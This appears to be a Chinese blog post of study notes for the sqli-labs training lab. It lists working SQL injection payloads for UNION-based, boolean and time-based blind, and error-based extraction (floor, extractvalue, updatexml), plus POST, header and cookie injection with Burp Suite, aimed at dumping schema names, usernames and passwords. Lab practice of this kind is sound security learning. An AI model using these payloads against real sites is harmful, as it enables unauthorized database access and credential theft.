常见手动注入闭合方式
or 1=1;'or 1=1;"or 1=1;)or 1=1;')or 1=1;")or 1=1;"))or 1=1;也可以是使用”\”转义字符,通过转义字符将闭合方式爆出
常见符号十六进制表示
0x3A : 0x68 h 0x72 r 0x2F / 0x3C < 0x3E > 0x7e ~
Less-1
使用简单的注入语句
爆字段数目:order by (数字)【字段就是表中有几列数据】
正确回显需要的数据:?id=-1’ union select 1,2,3 --+【根据不同关卡修改相应的闭合方式,id=-1显然是错误的,错误的数据意义是union select语句在选择输出数据时,判断union select前的id是否正确,正确则输出正确id对应的数据,反之则输出union select后除开第一个的别的数据】
爆当前数据库:修改2或3为database()
爆所有数据库:group_concat(schema_name)【此语句添加在2或3的位置】
from information_schema.schemata【此语句添加在最后】
爆数据库所有表:group_concat(table_name) from information_schema.tables
爆当前数据库名:group_concat(table_name) from information_schema.tables where table_schema=database()
爆所有列名:group_concat(column_name) from information_schema.columns【不好的一点是这样区分不了列是哪个表的列】
爆当前数据库列名:group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’
爆当前表中数据:group_concat(username,0x3a,0x3a,password) from users
更直观爆当前表中数据:group_concat(username,0x3a,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e) from users 【后面添加的是HTML的标签</hr>对应的意思是换行加分割线】
Less 5
则是使用布尔盲注和延时盲注或者报错注入,根据页面回显与否判断注入的条件语句是否正确
不同于上面的简单语句,爆出闭合方式后使用and连接注入语句
布尔盲注
判断数据库名字的长度是否和注入语句长度相同:and length(database())>8【修改>为<,=重复测试知道回显页面正常为止】
猜完数据库长度后,判断数据库每个字母的ascii码是否和注入语句对应的值相同:and ascii(substr(database(),1,1))=115【修改值大小和符号,使用二分法进行查找正确的ascii码值】
判断数据库对应表名:and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101【修改值大小和符号,使用二分查找正确ascii码值;limit 0,1表示从0开始拿出1个表名,即得到第一个表名,建议在修改limit 0,1的0的时候,都从>0开始判断,布尔盲注不会直接表现有几个表,当没有表的时候>0是没有回显的,=0也是没有回显的】
判断数据库对应表的列名:and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105【同上,修改table为column并且添加and table_name=’’即可】
判断数据库对应表的列的数据的长度:and (select length(username) from security.users limit 0,1)=4【修改值大小和符号,修改length中参数和from后的表名,修改limit】
判断数据库对应表的列的数据:and ascii(substr((select username from security.users limit 1,1),1,1))=65【同上,修改即可】
延时盲注
爆数据库名,表名,列名,数据同上面布尔盲注大致相同一样,但注入使用函数不同
爆数据库长度:and if(length(database())=8,sleep(0),sleep(7))【修改sleep函数,根据网络栏显示的Load时间是否与给出的条件相同判断是否正确】
注:1.延时盲注不论是否正确都不回显页面;
2.延时盲注的时间可能和设置不相同,根据自己网站本身需要的时间决定,例如我的网站回显基本页面的时间是2秒,则注入语句即使正确Load时间也是2秒而不是0秒;
其他可以复制布尔盲注的语句进行判断
报错注入
Floor报错
爆用户,数据库:and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x) a)【修改user();from information_schema.tables是不能少的,缺少的话相当于Floor函数少了一个条件,Floor函数根据from后的内容进行rand()随机数产生】
爆表名:select table_name from information_schema.tables where table_schema=database() limit 0,1【添加在user()处;修改limit语句爆表名,若初始条件错误则回显正确的页面】
爆列名:select column_name from information_schema.columns where table_schema=database() and table_name=’user’ limit 0,1【修改同上】
爆数据:select username from users limit 0,1【修改字段名和limit限制,大于行数会回显正确的页面】
可以根据不同情况修改要爆数据的多少,第五关不能爆出多行数据就是用limit限制输出
Extractvalue报错
爆数据库:union select extractvalue(1,concat(0x7e,database(),0x7e))【修改database()为select group_concat(shcema_name) from information_schema.schemata爆所有数据库】
爆表名:select table_name from information_schema.tables where table_schema=database() limit 0,1【修改同上】
爆数据:select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1
updatexml()报错
爆数据库:union select updatexml(1,concat(0x7e,database(),0x7e),3)
爆表名: select table_name from information_schema.tables where table_schema=database() limit 0,1
爆列名:select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1
Burpsuite抓包注入
Post简单注入
Less-11
打开Burpsuite,输入账户密码点击submit,将获取到的页面send to repeater
修改uname或者passwd区别在于:passwd注入语句,因为输入的账号密码是错误的,则需要条件语句or 1=1来将整个语句调整为真,再进行注入否则是错误语句回显的也是账号密码错误的页面;uname则不需要
注入语句同上任一方式都可以
Post盲注
Less-15
转义符不可取,不会回显错误所以只能一个一个试
注入语句和上面盲注一样
注:延时盲注的响应时间看Burpsuite右下角的millis除以1000,同浏览器的响应时间相同可能不为0,以自己的浏览器为准
Http注入
Less-18
Http的user-agent注入
用转义符也不可取,先判断是什么类型注入,再使用报错注入
Http的referer注入
用转义符也不可取,先判断是什么类型注入,再使用报错注入或盲注
Http的cookie注入
Less-20
抓到的包可以看见并没有cookie这一个参数,丢弃forward,看见cookie后ctrl+R
可以使用和上面burpsuite一样的报错注入,也可以在cookie进行简单的注入
标签:11,name,database,labs,Sqli,limit,table,select,schema From: https://www.cnblogs.com/BWTY/p/17037486.html